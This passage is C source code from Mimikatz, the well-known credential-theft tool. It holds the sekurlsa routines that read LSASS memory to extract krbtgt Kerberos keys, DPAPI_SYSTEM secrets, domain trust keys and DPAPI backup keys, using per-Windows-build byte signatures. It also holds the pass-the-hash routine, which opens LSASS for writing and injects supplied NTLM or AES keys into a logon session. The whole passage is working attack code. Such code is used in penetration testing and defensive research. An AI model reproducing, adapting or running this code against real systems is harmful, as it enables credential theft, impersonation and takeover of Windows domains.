  			aLocal.address = &tmpCred5;
  			if(kull_m_memory_copy(&aLocal, &aLsass, sizeof(KIWI_KRBTGT_CREDENTIALS_5) - sizeof(KIWI_KRBTGT_CREDENTIAL_5)))
  			{
  				sizeForCreds = sizeof(KIWI_KRBTGT_CREDENTIALS_5) + (tmpCred5.cbCred - 1) * sizeof(KIWI_KRBTGT_CREDENTIAL_5);
  				if(creds5 = (PKIWI_KRBTGT_CREDENTIALS_5) LocalAlloc(LPTR, sizeForCreds))
  				{
  					aLocal.address = creds5;
  					if(kull_m_memory_copy(&aLocal, &aLsass, sizeForCreds))
  					{
  						kprintf(L"%u credentials\n", creds5->cbCred);
  						for(i = 0; i < creds5->cbCred; i++)
  						{
  							kprintf(L"\t * %s : ", kuhl_m_kerberos_ticket_etype(PtrToLong(creds5->credentials[i].type)));
  							aLsass.address = creds5->credentials[i].key;
  							if(aLocal.address = LocalAlloc(LPTR, PtrToUlong(creds5->credentials[i].size)))
  							{
  								if(kull_m_memory_copy(&aLocal, &aLsass, PtrToUlong(creds5->credentials[i].size)))
  									kull_m_string_wprintf_hex(aLocal.address, PtrToUlong(creds5->credentials[i].size), 0);
  								LocalFree(aLocal.address);
  							}
  							kprintf(L"\n");
  						}
  					}
  					LocalFree(creds5);
  				}
  			}
  		}
  		else if(cLsass.osContext.BuildNumber < KULL_M_WIN_BUILD_10_1607)
  		{
  			aLocal.address = &tmpCred6;
  			if(kull_m_memory_copy(&aLocal, &aLsass, sizeof(KIWI_KRBTGT_CREDENTIALS_6) - sizeof(KIWI_KRBTGT_CREDENTIAL_6)))
  			{
  				sizeForCreds = sizeof(KIWI_KRBTGT_CREDENTIALS_6) + (tmpCred6.cbCred - 1) * sizeof(KIWI_KRBTGT_CREDENTIAL_6);
  				if(creds6 = (PKIWI_KRBTGT_CREDENTIALS_6) LocalAlloc(LPTR, sizeForCreds))
  				{
  					aLocal.address = creds6;
  					if(kull_m_memory_copy(&aLocal, &aLsass, sizeForCreds))
  					{
  						kprintf(L"%u credentials\n", creds6->cbCred);
  						for(i = 0; i < creds6->cbCred; i++)
  						{
  							kprintf(L"\t * %s : ", kuhl_m_kerberos_ticket_etype(PtrToLong(creds6->credentials[i].type)));
  							aLsass.address = creds6->credentials[i].key;
  							if(aLocal.address = LocalAlloc(LPTR, PtrToUlong(creds6->credentials[i].size)))
  							{
  								if(kull_m_memory_copy(&aLocal, &aLsass, PtrToUlong(creds6->credentials[i].size)))
  									kull_m_string_wprintf_hex(aLocal.address, PtrToUlong(creds6->credentials[i].size), 0);
  								LocalFree(aLocal.address);
  							}
  							kprintf(L"\n");
  						}
  					}
  					LocalFree(creds6);
  				}
  			}
  		}
  		else
  		{
  			aLocal.address = &tmpCred64;
  			if(kull_m_memory_copy(&aLocal, &aLsass, sizeof(KIWI_KRBTGT_CREDENTIALS_64) - sizeof(KIWI_KRBTGT_CREDENTIAL_64)))
  			{
  				sizeForCreds = sizeof(KIWI_KRBTGT_CREDENTIALS_64) + (tmpCred64.cbCred - 1) * sizeof(KIWI_KRBTGT_CREDENTIAL_64);
  				if(creds64 = (PKIWI_KRBTGT_CREDENTIALS_64) LocalAlloc(LPTR, sizeForCreds))
  				{
  					aLocal.address = creds64;
  					if(kull_m_memory_copy(&aLocal, &aLsass, sizeForCreds))
  					{
  						kprintf(L"%u credentials\n", creds64->cbCred);
  						for(i = 0; i < creds64->cbCred; i++)
  						{
  							kprintf(L"\t * %s : ", kuhl_m_kerberos_ticket_etype(PtrToLong(creds64->credentials[i].type)));
  							aLsass.address = creds64->credentials[i].key;
  							if(aLocal.address = LocalAlloc(LPTR, PtrToUlong(creds64->credentials[i].size)))
  							{
  								if(kull_m_memory_copy(&aLocal, &aLsass, PtrToUlong(creds64->credentials[i].size)))
  									kull_m_string_wprintf_hex(aLocal.address, PtrToUlong(creds64->credentials[i].size), 0);
  								LocalFree(aLocal.address);
  							}
  							kprintf(L"\n");
  						}
  					}
  					LocalFree(creds64);
  				}
  			}
  		}
  	}
  }
  #endif
  
  #if defined(_M_X64) || defined(_M_ARM64) // TODO:ARM64
  BYTE PTRN_WI52_SysCred[] = {0xb9, 0x14, 0x00, 0x00, 0x00, 0xf3, 0xaa, 0x48, 0x8d, 0x3d};
  BYTE PTRN_WI60_SysCred[] = {0x48, 0x8b, 0xca, 0xf3, 0xaa, 0x48, 0x8d, 0x3d};
  BYTE PTRN_WN62_SysCred[] = {0x8b, 0xca, 0xf3, 0xaa, 0x48, 0x8d, 0x3d};
  BYTE PTRN_W2004_SysCred[] = {0x8d, 0x50, 0x14, 0x8b, 0xca, 0x44, 0x8d, 0x48, 0x01, 0x44};
  KULL_M_PATCH_GENERIC SysCredReferences[] = {
  	{KULL_M_WIN_MIN_BUILD_2K3,		{sizeof(PTRN_WI52_SysCred),		PTRN_WI52_SysCred},		{0, NULL}, { 21,  -4, 10}},
  	{KULL_M_WIN_MIN_BUILD_VISTA,	{sizeof(PTRN_WI60_SysCred),		PTRN_WI60_SysCred},		{0, NULL}, {-13, -19,  8}},
  	{KULL_M_WIN_MIN_BUILD_7,		{sizeof(PTRN_WI60_SysCred),		PTRN_WI60_SysCred},		{0, NULL}, { -7, -13,  8}},
  	{KULL_M_WIN_MIN_BUILD_8,		{sizeof(PTRN_WN62_SysCred),		PTRN_WN62_SysCred},		{0, NULL}, {-10, -19,  7}},
  	{KULL_M_WIN_MIN_BUILD_BLUE,		{sizeof(PTRN_WN62_SysCred),		PTRN_WN62_SysCred},		{0, NULL}, {-27, -4,   7}},
  	{KULL_M_WIN_MIN_BUILD_10,		{sizeof(PTRN_WN62_SysCred),		PTRN_WN62_SysCred},		{0, NULL}, {-20, -26,  7}},
  	{KULL_M_WIN_BUILD_10_2004,		{sizeof(PTRN_W2004_SysCred),	PTRN_W2004_SysCred},	{0, NULL}, {-10, -16,  21}},
  };
  #elif defined(_M_IX86)
  BYTE PTRN_WI51_SysCred[] = {0x00, 0xab, 0x33, 0xc0, 0xbf};
  BYTE PTRN_WI52_SysCred[] = {0x59, 0x33, 0xd2, 0x88, 0x10, 0x40, 0x49, 0x75};
  BYTE PTRN_WI60_SysCred[] = {0x6a, 0x14, 0x59, 0xb8};
  BYTE PTRN_WI62_SysCred[] = {0x6a, 0x14, 0x5a, 0x8b, 0xf2, 0xb9};
  BYTE PTRN_WI63_SysCred[] = {0x6a, 0x14, 0x59, 0x8b, 0xd1, 0xb8};
  KULL_M_PATCH_GENERIC SysCredReferences[] = {
  	{KULL_M_WIN_MIN_BUILD_XP,		{sizeof(PTRN_WI51_SysCred),		PTRN_WI51_SysCred},		{0, NULL}, { -4, -14,  5}},
  	{KULL_M_WIN_MIN_BUILD_2K3,		{sizeof(PTRN_WI52_SysCred),		PTRN_WI52_SysCred},		{0, NULL}, { 27,  -4, 12}},
  	{KULL_M_WIN_MIN_BUILD_VISTA,	{sizeof(PTRN_WI60_SysCred),		PTRN_WI60_SysCred},		{0, NULL}, { 34,   4, 20}},
  	{KULL_M_WIN_MIN_BUILD_8,		{sizeof(PTRN_WI62_SysCred),		PTRN_WI62_SysCred},		{0, NULL}, { 36,   6, 17}},
  	{KULL_M_WIN_MIN_BUILD_BLUE,		{sizeof(PTRN_WI63_SysCred),		PTRN_WI63_SysCred},		{0, NULL}, { 31,   6, 18}},
  	{KULL_M_WIN_MIN_BUILD_10,		{sizeof(PTRN_WI63_SysCred),		PTRN_WI63_SysCred},		{0, NULL}, { 35,   6, 20}},
  };
  #endif
  NTSTATUS kuhl_m_sekurlsa_dpapi_system(int argc, wchar_t * argv[])
  {
  	NTSTATUS status = kuhl_m_sekurlsa_acquireLSA();
  	KULL_M_MEMORY_ADDRESS aLsass = {NULL, cLsass.hLsassMem}, aLocal = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
  	PKUHL_M_SEKURLSA_PACKAGE pPackage = (cLsass.osContext.BuildNumber >= KULL_M_WIN_MIN_BUILD_8) ? &kuhl_m_sekurlsa_dpapi_svc_package : &kuhl_m_sekurlsa_dpapi_lsa_package;
  	PVOID pBool = NULL, pShaSystem = NULL, pShaUser = NULL;
  	BOOL fSystemCredsInitialized;
  	BYTE origInit, rgbSystemCredMachine[SHA_DIGEST_LENGTH], rgbSystemCredUser[SHA_DIGEST_LENGTH];
  
  	if(NT_SUCCESS(status))
  	{
  		if(pPackage->Module.isPresent)
  		{
  			origInit = pPackage->Module.isInit;
  			if(kuhl_m_sekurlsa_utils_search_generic(&cLsass, &pPackage->Module, SysCredReferences, ARRAYSIZE(SysCredReferences), &pBool, &pShaSystem, &pShaUser, NULL))
  			{
  				pPackage->Module.isInit = origInit; // trick to use same packages as normal module.
  				aLocal.address = &fSystemCredsInitialized;
  				aLsass.address = pBool;
  				if(kull_m_memory_copy(&aLocal, &aLsass, sizeof(fSystemCredsInitialized)))
  				{
  					if(fSystemCredsInitialized)
  					{
  						kprintf(L"DPAPI_SYSTEM\n");
  						aLocal.address = &rgbSystemCredMachine;
  						aLsass.address = pShaSystem;
  						if(kull_m_memory_copy(&aLocal, &aLsass, sizeof(rgbSystemCredMachine)))
  						{
  							aLocal.address = &rgbSystemCredUser;
  							aLsass.address = pShaUser;
  							if(kull_m_memory_copy(&aLocal, &aLsass, sizeof(rgbSystemCredUser)))
  							{
  								kprintf(L"full: ");
  								kull_m_string_wprintf_hex(rgbSystemCredMachine, sizeof(rgbSystemCredMachine), 0);
  								kull_m_string_wprintf_hex(rgbSystemCredUser, sizeof(rgbSystemCredUser), 0);
  								kprintf(L"\nm/u : ");
  								kull_m_string_wprintf_hex(rgbSystemCredMachine, sizeof(rgbSystemCredMachine), 0);
  								kprintf(L" / ");
  								kull_m_string_wprintf_hex(rgbSystemCredUser, sizeof(rgbSystemCredUser), 0);
  								kprintf(L"\n");
  							}
  							else PRINT_ERROR(L"Unable to copy (rgbSystemCredUser)\n");
  						}
  						else PRINT_ERROR(L"Unable to copy (rgbSystemCredMachine)\n");
  					}
  					else PRINT_ERROR(L"Not initialized!\n");
  				}
  				else PRINT_ERROR(L"Unable to copy (bool)\n");
  			}
  			else PRINT_ERROR(L"Pattern not found in DPAPI service\n");
  		}
  		else PRINT_ERROR(L"DPAPI service not in LSASS memory\n");
  	}
  	return status;
  }
  
  #if defined(_M_X64) || defined(_M_ARM64) // TODO:ARM64
  BYTE PTRN_W2K8R2_DomainList[]	= {0xf3, 0x0f, 0x6f, 0x6c, 0x24, 0x30, 0xf3, 0x0f, 0x7f, 0x2d};
  BYTE PTRN_W2K12R2_DomainList[]	= {0x0f, 0x10, 0x45, 0xf0, 0x66, 0x48, 0x0f, 0x7e, 0xc0, 0x0f, 0x11, 0x05};
  BYTE PTRN_W2K16_DomainList[] = {0x48, 0x8b, 0xfa, 0x48, 0x8b, 0xf1, 0xeb};
  KULL_M_PATCH_GENERIC DomainListReferences[] = {
  	{KULL_M_WIN_BUILD_7,		{sizeof(PTRN_W2K8R2_DomainList),	PTRN_W2K8R2_DomainList},	{0, NULL}, {10}},
  	{KULL_M_WIN_BUILD_BLUE,		{sizeof(PTRN_W2K12R2_DomainList),	PTRN_W2K12R2_DomainList},	{0, NULL}, { 8}},
  	{KULL_M_WIN_BUILD_10_1607,	{sizeof(PTRN_W2K16_DomainList),		PTRN_W2K16_DomainList},		{0, NULL}, {-4}},
  };
  NTSTATUS kuhl_m_sekurlsa_trust(int argc, wchar_t * argv[])
  {
  	NTSTATUS status = kuhl_m_sekurlsa_acquireLSA();
  	PVOID buffer;
  	KDC_DOMAIN_INFO domainInfo;
  	KULL_M_MEMORY_ADDRESS aLsass = {NULL, cLsass.hLsassMem}, data = {&buffer, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aBuffer = {&domainInfo, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
  
  	if(cLsass.osContext.BuildNumber >= KULL_M_WIN_BUILD_7)
  	{
  		if(NT_SUCCESS(status))
  		{
  			if(kuhl_m_sekurlsa_kdcsvc_package.Module.isPresent)
  			{
  				if(kuhl_m_sekurlsa_utils_search_generic(&cLsass, &kuhl_m_sekurlsa_kdcsvc_package.Module, DomainListReferences, ARRAYSIZE(DomainListReferences), &aLsass.address, NULL, NULL, NULL))
  				{
  					if(kull_m_memory_copy(&data, &aLsass, sizeof(PVOID)))
  					{
  						data.address = buffer;
  						data.hMemory = cLsass.hLsassMem;
  						while(data.address != aLsass.address)
  						{
  							if(kull_m_memory_copy(&aBuffer, &data, sizeof(KDC_DOMAIN_INFO)))
  							{
  								kuhl_m_sekurlsa_trust_domaininfo(&domainInfo);
  								data.address = domainInfo.list.Flink;
  							}
  							else break;
  						}
  					}
  				}
  				else PRINT_ERROR(L"Pattern not found in KDC service\n");
  			}
  			else PRINT_ERROR(L"KDC service not in LSASS memory\n");
  		}
  	}
  	else PRINT_ERROR(L"Only for >= 2008r2\n");
  	return status;
  }
  
  void kuhl_m_sekurlsa_trust_domainkeys(struct _KDC_DOMAIN_KEYS_INFO * keysInfo, PCWSTR prefix, BOOL incoming, PCUNICODE_STRING domain)
  {
  	KULL_M_MEMORY_ADDRESS aLsass = {keysInfo->keys, cLsass.hLsassMem}, aData = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
  	DWORD i;
  	PKDC_DOMAIN_KEYS domainKeys;
  
  	if((keysInfo->keysSize && keysInfo->keys) || (keysInfo->password.Length && keysInfo->password.Buffer))
  	{
  		kprintf(L"\n  [%s] ", prefix);
  		kprintf(incoming ? L"-> %wZ\n" : L"%wZ ->\n", domain);
  		if(kull_m_process_getUnicodeString(&keysInfo->password, cLsass.hLsassMem))
  		{
  			kprintf(L"\tfrom: ");
  			if(kull_m_string_suspectUnicodeString(&keysInfo->password))
  				kprintf(L"%wZ", &keysInfo->password);
  			else kull_m_string_wprintf_hex(keysInfo->password.Buffer, keysInfo->password.Length, 1);
  			LocalFree(keysInfo->password.Buffer);
  		}
  		kprintf(L"\n");
  
  		if(keysInfo->keysSize && keysInfo->keys)
  		{
  			if(domainKeys = (PKDC_DOMAIN_KEYS) LocalAlloc(LPTR, keysInfo->keysSize))
  			{
  				aData.address = domainKeys;
  				if(kull_m_memory_copy(&aData, &aLsass, keysInfo->keysSize))	
  				{
  					for(i = 0; i < domainKeys->nbKeys; i++)
  					{
  						kprintf(L"\t* %s : ", kuhl_m_kerberos_ticket_etype(domainKeys->keys[i].type));
  						kull_m_string_wprintf_hex((PBYTE) domainKeys + domainKeys->keys[i].offset, domainKeys->keys[i].size, 0);
  						kprintf(L"\n");
  					}
  				}
  				LocalFree(domainKeys);
  			}
  		}
  	}
  }
  
  void kuhl_m_sekurlsa_trust_domaininfo(struct _KDC_DOMAIN_INFO * info)
  {
  	if(kull_m_process_getUnicodeString(&info->FullDomainName, cLsass.hLsassMem))
  	{
  		if(kull_m_process_getUnicodeString(&info->NetBiosName, cLsass.hLsassMem))
  		{
  			kprintf(L"\nDomain: %wZ (%wZ", &info->FullDomainName, &info->NetBiosName);
  			if(kull_m_process_getSid(&info->DomainSid, cLsass.hLsassMem))
  			{
  				kprintf(L" / "); kull_m_string_displaySID(info->DomainSid);
  				LocalFree(info->DomainSid);
  			}
  			kprintf(L")\n");
  			kuhl_m_sekurlsa_trust_domainkeys(&info->IncomingAuthenticationKeys, L" Out ", FALSE, &info->FullDomainName);	// Input keys are for Out relation ship...
  			kuhl_m_sekurlsa_trust_domainkeys(&info->OutgoingAuthenticationKeys, L"  In ", TRUE, &info->FullDomainName);
  			kuhl_m_sekurlsa_trust_domainkeys(&info->IncomingPreviousAuthenticationKeys, L"Out-1", FALSE, &info->FullDomainName);
  			kuhl_m_sekurlsa_trust_domainkeys(&info->OutgoingPreviousAuthenticationKeys, L" In-1", TRUE, &info->FullDomainName);
  			LocalFree(info->NetBiosName.Buffer);
  		}
  		LocalFree(info->FullDomainName.Buffer);
  	}
  }
  
  void kuhl_m_sekurlsa_bkey(PKUHL_M_SEKURLSA_CONTEXT cLsass, PKUHL_M_SEKURLSA_LIB pLib, PKULL_M_PATCH_GENERIC generics, SIZE_T cbGenerics, BOOL isExport)
  {
  	KULL_M_MEMORY_ADDRESS aLsass = {NULL, cLsass->hLsassMem}, aData = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
  	GUID guid;
  	DWORD cb;
  	PVOID pGuid, pKeyLen, pKeyBuffer;
  
  	if(kuhl_m_sekurlsa_utils_search_generic(cLsass, pLib, generics, cbGenerics, &pGuid, &pKeyLen, &pKeyBuffer, NULL))
  	{
  		if(aLsass.address = pGuid)
  		{
  			aData.address = &guid;
  			if(kull_m_memory_copy(&aData, &aLsass, sizeof(GUID)))
  			{
  				kull_m_string_displayGUID(&guid); kprintf(L"\n");
  				if(aLsass.address = pKeyLen)
  				{
  					aData.address = &cb;
  					if(kull_m_memory_copy(&aData, &aLsass, sizeof(DWORD)))
  					{
  						if(cb && (aLsass.address = pKeyBuffer))
  						{
  							aData.address = &aLsass.address;
  							if(kull_m_memory_copy(&aData, &aLsass, sizeof(PVOID)))
  							{
  								if(aData.address = LocalAlloc(LPTR, cb))
  								{
  									if(kull_m_memory_copy(&aData, &aLsass, cb))
  									{
  										kuhl_m_lsadump_analyzeKey(&guid, (PKIWI_BACKUP_KEY) aData.address, cb, isExport);
  									}
  									LocalFree(aData.address);
  								}
  							}
  						}
  					}
  				}
  			}
  		}
  	}
  	else PRINT_ERROR(L"Pattern not found in DPAPI service\n");
  }
  
  BYTE PTRN_WALL_BackupKey[]			= {0xb9, 0x02, 0x00, 0x00, 0x00, 0x89, 0x05};
  BYTE PTRN_W2K16_BackupKey[]			= {0xb9, 0x02, 0x00, 0x00, 0x00, 0xe8};
  KULL_M_PATCH_GENERIC BackupKeyReferences[] = {
  	{KULL_M_WIN_BUILD_2K3,	{sizeof(PTRN_WALL_BackupKey),			PTRN_WALL_BackupKey},			{0, NULL}, {-4,  37,  44}},
  	{KULL_M_WIN_BUILD_VISTA,{sizeof(PTRN_WALL_BackupKey),			PTRN_WALL_BackupKey},			{0, NULL}, {-4,  40,  47}},
  	{KULL_M_WIN_BUILD_7,	{sizeof(PTRN_WALL_BackupKey),			PTRN_WALL_BackupKey},			{0, NULL}, {-4,  33,  40}},
  	{KULL_M_WIN_BUILD_8,	{sizeof(PTRN_WALL_BackupKey),			PTRN_WALL_BackupKey},			{0, NULL}, {-4,  30,  37}},
  	{KULL_M_WIN_BUILD_10_1607,	{sizeof(PTRN_W2K16_BackupKey),			PTRN_W2K16_BackupKey},			{0, NULL}, {-10,  24,  31}},
  };
  BYTE PTRN_W2K3_BackupKeyCompat[]	= {0x45, 0x33, 0xc9, 0x48, 0xc7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00, 0xe8};
  BYTE PTRN_W2K8_BackupKeyCompat[]	= {0xb9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xd7, 0xe8};
  BYTE PTRN_W2K8R2_BackupKeyCompat[]	= {0xb9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xd6, 0xe8};
  BYTE PTRN_W2K12_BackupKeyCompat[]	= {0x85, 0xc0, 0x74, 0x21, 0x4c, 0x8d, 0x05};
  BYTE PTRN_W2K12R2_BackupKeyCompat[]	= {0xb9, 0x01, 0x00, 0x00, 0x00, 0xe8};
  BYTE PTRN_W2K16_BackupKeyCompat[]	= {0x85, 0xc0, 0x75, 0x1e, 0xe8};
  KULL_M_PATCH_GENERIC BackupKeyReferencesCompat[] = {
  	{KULL_M_WIN_BUILD_2K3,	{sizeof(PTRN_W2K3_BackupKeyCompat),		PTRN_W2K3_BackupKeyCompat},		{0, NULL}, {-4, -18, -11}},
  	{KULL_M_WIN_BUILD_VISTA,{sizeof(PTRN_W2K8_BackupKeyCompat),		PTRN_W2K8_BackupKeyCompat},		{0, NULL}, {-4,  26,  33}},
  	{KULL_M_WIN_BUILD_7,	{sizeof(PTRN_W2K8R2_BackupKeyCompat),	PTRN_W2K8R2_BackupKeyCompat},	{0, NULL}, {-4,  20,  27}},
  	{KULL_M_WIN_BUILD_8,	{sizeof(PTRN_W2K12_BackupKeyCompat),	PTRN_W2K12_BackupKeyCompat},	{0, NULL}, {21,   7,  14}},
  	{KULL_M_WIN_BUILD_BLUE,	{sizeof(PTRN_W2K12R2_BackupKeyCompat),	PTRN_W2K12R2_BackupKeyCompat},	{0, NULL}, {-4,  17,  24}},
  	{KULL_M_WIN_BUILD_10_1607,	{sizeof(PTRN_W2K16_BackupKeyCompat),	PTRN_W2K16_BackupKeyCompat},	{0, NULL}, {-9,  -23,  -16}},
  };
  NTSTATUS kuhl_m_sekurlsa_bkeys(int argc, wchar_t * argv[])
  {
  	NTSTATUS status = kuhl_m_sekurlsa_acquireLSA();
  	PKUHL_M_SEKURLSA_LIB pLib;
  	BOOL export = kull_m_string_args_byName(argc, argv, L"export", NULL, NULL);
  
  	if(NT_SUCCESS(status))
  	{
  		pLib = (cLsass.osContext.BuildNumber >= KULL_M_WIN_MIN_BUILD_8) ? &kuhl_m_sekurlsa_dpapi_svc_package.Module : &kuhl_m_sekurlsa_dpapi_lsa_package.Module;
  		if(pLib->isPresent)
  		{
  			kprintf(L"\nCurrent prefered key:       ");
  			kuhl_m_sekurlsa_bkey(&cLsass, pLib, BackupKeyReferences, ARRAYSIZE(BackupKeyReferences), export);
  			kprintf(L"\nCompatibility prefered key: ");
  			kuhl_m_sekurlsa_bkey(&cLsass, pLib, BackupKeyReferencesCompat, ARRAYSIZE(BackupKeyReferencesCompat), export);
  		}
  	}
  	return status;
  }
  #endif
  
  NTSTATUS kuhl_m_sekurlsa_pth(int argc, wchar_t * argv[])
  {
  	BYTE ntlm[LM_NTLM_HASH_LENGTH], aes128key[AES_128_KEY_LENGTH], aes256key[AES_256_KEY_LENGTH];
  	TOKEN_STATISTICS tokenStats;
  	SEKURLSA_PTH_DATA data = {&tokenStats.AuthenticationId, NULL, NULL, NULL, FALSE};
  	PCWCHAR szUser = NULL, szDomain = NULL, szRun = NULL, szNTLM, szAes128, szAes256, szLuid = NULL;
  	DWORD dwNeededSize;
  	HANDLE hToken, hNewToken;
  	PROCESS_INFORMATION processInfos;
  	BOOL isImpersonate;
  
  	if(kull_m_string_args_byName(argc, argv, L"luid", &szLuid, NULL))
  	{
  		tokenStats.AuthenticationId.HighPart = 0; // because I never saw it != 0
  		tokenStats.AuthenticationId.LowPart = wcstoul(szLuid, NULL, 0);
  	}
  	else
  	{
  		if(kull_m_string_args_byName(argc, argv, L"user", &szUser, NULL))
  		{
  			if(kull_m_string_args_byName(argc, argv, L"domain", &szDomain, NULL))
  			{
  				isImpersonate = kull_m_string_args_byName(argc, argv, L"impersonate", NULL, NULL);
  #pragma warning(push)
  #pragma warning(disable:4996)
  				kull_m_string_args_byName(argc, argv, L"run", &szRun, isImpersonate ? _wpgmptr : L"cmd.exe");
  #pragma warning(pop)
  				kprintf(L"user\t: %s\ndomain\t: %s\nprogram\t: %s\nimpers.\t: %s\n", szUser, szDomain, szRun, isImpersonate ? L"yes" : L"no");
  
  			}
  			else PRINT_ERROR(L"Missing argument : domain\n");
  		}
  		else PRINT_ERROR(L"Missing argument : user\n");
  	}
  
  	if(kull_m_string_args_byName(argc, argv, L"aes128", &szAes128, NULL))
  	{
  		if(MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_7)
  		{
  			if(kull_m_string_stringToHex(szAes128, aes128key, AES_128_KEY_LENGTH))
  			{
  				data.Aes128Key = aes128key;
  				kprintf(L"AES128\t: "); kull_m_string_wprintf_hex(data.Aes128Key, AES_128_KEY_LENGTH, 0); kprintf(L"\n");
  			}
  			else PRINT_ERROR(L"AES128 key length must be 32 (16 bytes)\n");
  		}
  		else PRINT_ERROR(L"AES128 key only supported from Windows 8.1 (or 7/8 with kb2871997)\n");
  	}
  
  	if(kull_m_string_args_byName(argc, argv, L"aes256", &szAes256, NULL))
  	{
  		if(MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_7)
  		{
  			if(kull_m_string_stringToHex(szAes256, aes256key, AES_256_KEY_LENGTH))
  			{
  				data.Aes256Key = aes256key;
  				kprintf(L"AES256\t: "); kull_m_string_wprintf_hex(data.Aes256Key, AES_256_KEY_LENGTH, 0); kprintf(L"\n");
  			}
  			else PRINT_ERROR(L"AES256 key length must be 64 (32 bytes)\n");
  		}
  		else PRINT_ERROR(L"AES256 key only supported from Windows 8.1 (or 7/8 with kb2871997)\n");
  	}
  
  	if(kull_m_string_args_byName(argc, argv, L"rc4", &szNTLM, NULL) || kull_m_string_args_byName(argc, argv, L"ntlm", &szNTLM, NULL))
  	{
  		if(kull_m_string_stringToHex(szNTLM, ntlm, LM_NTLM_HASH_LENGTH))
  		{
  			data.NtlmHash = ntlm;
  			kprintf(L"NTLM\t: "); kull_m_string_wprintf_hex(data.NtlmHash, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n");
  		}
  		else PRINT_ERROR(L"ntlm hash/rc4 key length must be 32 (16 bytes)\n");
  	}
  
  	if(data.NtlmHash || data.Aes128Key || data.Aes256Key)
  	{
  		if(szLuid)
  		{
  			kprintf(L"mode\t: replacing NTLM/RC4 key in a session\n");
  			kuhl_m_sekurlsa_pth_luid(&data);
  		}
  		else if(szUser)
  		{
  			if(kull_m_process_create(KULL_M_PROCESS_CREATE_LOGON, szRun, CREATE_SUSPENDED, NULL, LOGON_NETCREDENTIALS_ONLY, szUser, szDomain, L"", &processInfos, FALSE))
  			{
  				kprintf(L"  |  PID  %u\n  |  TID  %u\n",processInfos.dwProcessId, processInfos.dwThreadId);
  				if(OpenProcessToken(processInfos.hProcess, TOKEN_READ | (isImpersonate ? TOKEN_DUPLICATE : 0), &hToken))
  				{
  					if(GetTokenInformation(hToken, TokenStatistics, &tokenStats, sizeof(tokenStats), &dwNeededSize))
  					{
  						kuhl_m_sekurlsa_pth_luid(&data);
  						if(data.isReplaceOk)
  						{
  							if(isImpersonate)
  							{
  								if(DuplicateTokenEx(hToken, TOKEN_QUERY | TOKEN_IMPERSONATE, NULL, SecurityDelegation, TokenImpersonation, &hNewToken))
  								{
  									if(SetThreadToken(NULL, hNewToken))
  										kprintf(L"** Token Impersonation **\n");
  									else PRINT_ERROR_AUTO(L"SetThreadToken");
  									CloseHandle(hNewToken);
  								}
  								else PRINT_ERROR_AUTO(L"DuplicateTokenEx");
  								NtTerminateProcess(processInfos.hProcess, STATUS_SUCCESS);
  							}
  							else NtResumeProcess(processInfos.hProcess);
  						}
  						else NtTerminateProcess(processInfos.hProcess, STATUS_PROCESS_IS_TERMINATING);
  					}
  					else PRINT_ERROR_AUTO(L"GetTokenInformation");
  					CloseHandle(hToken);
  				}
  				else PRINT_ERROR_AUTO(L"OpenProcessToken");
  				CloseHandle(processInfos.hThread);
  				CloseHandle(processInfos.hProcess);
  			}
  			else PRINT_ERROR_AUTO(L"CreateProcessWithLogonW");
  		}
  		else PRINT_ERROR(L"Bas user or LUID\n");
  	}
  	else PRINT_ERROR(L"Missing at least one argument : ntlm/rc4 OR aes128 OR aes256\n");
  
  	return STATUS_SUCCESS;
  }
  
  VOID kuhl_m_sekurlsa_pth_luid(PSEKURLSA_PTH_DATA data)
  {
  	OBJECT_BASIC_INFORMATION bi;
  	ULONG szNeeded;
  	HANDLE hTemp;
  	NTSTATUS status;
  	BOOL isRWok = FALSE;
  
  	if(NT_SUCCESS(kuhl_m_sekurlsa_acquireLSA()) && (cLsass.hLsassMem->type == KULL_M_MEMORY_TYPE_PROCESS))
  	{
  		kprintf(L"  |  LSA Process ");
  		status = NtQueryObject(cLsass.hLsassMem->pHandleProcess->hProcess, ObjectBasicInformation, &bi, sizeof(OBJECT_BASIC_INFORMATION), &szNeeded);
  		if(NT_SUCCESS(status))
  		{
  			if(isRWok = (bi.GrantedAccess & (PROCESS_VM_OPERATION | PROCESS_VM_WRITE)))
  				kprintf(L"was already R/W\n");
  			else
  			{
  				if(hTemp = OpenProcess(bi.GrantedAccess | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, GetProcessId(cLsass.hLsassMem->pHandleProcess->hProcess)))
  				{
  					isRWok = TRUE;
  					CloseHandle(cLsass.hLsassMem->pHandleProcess->hProcess);
  					cLsass.hLsassMem->pHandleProcess->hProcess = hTemp;
  					kprintf(L"is now R/W\n");
  				}
  				else PRINT_ERROR_AUTO(L"OpenProcess");
  
  				//if(isRWok = DuplicateHandle(GetCurrentProcess(), cLsass.hLsassMem->pHandleProcess->hProcess, GetCurrentProcess(), &hTemp, bi.GrantedAccess | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, 0)) // FAIL :(
  				//{
  				//	CloseHandle(cLsass.hLsassMem->pHandleProcess->hProcess);
  				//	cLsass.hLsassMem->pHandleProcess->hProcess = hTemp;
  				//	kprintf(L"is now R/W\n");
  				//}
  				//else PRINT_ERROR_AUTO(L"DuplicateHandle");
  			}
  		}
  		else PRINT_ERROR(L"NtQueryObject: %08x\n", status);
  
  		if(isRWok)
  		{
  			kprintf(L"  |  LUID %u ; %u (%08x:%08x)\n", data->LogonId->HighPart, data->LogonId->LowPart, data->LogonId->HighPart, data->LogonId->LowPart);
  			kprintf(L"  \\_ msv1_0   - ");
  			kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_msv_pth, data);
  			kprintf(L"\n");
  			kprintf(L"  \\_ kerberos - ");
  			kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_kerberos_pth, data);
  			kprintf(L"\n");
  		}
  	}
  	else PRINT_ERROR(L"memory handle is not KULL_M_MEMORY_TYPE_PROCESS\n"); 
  }
  
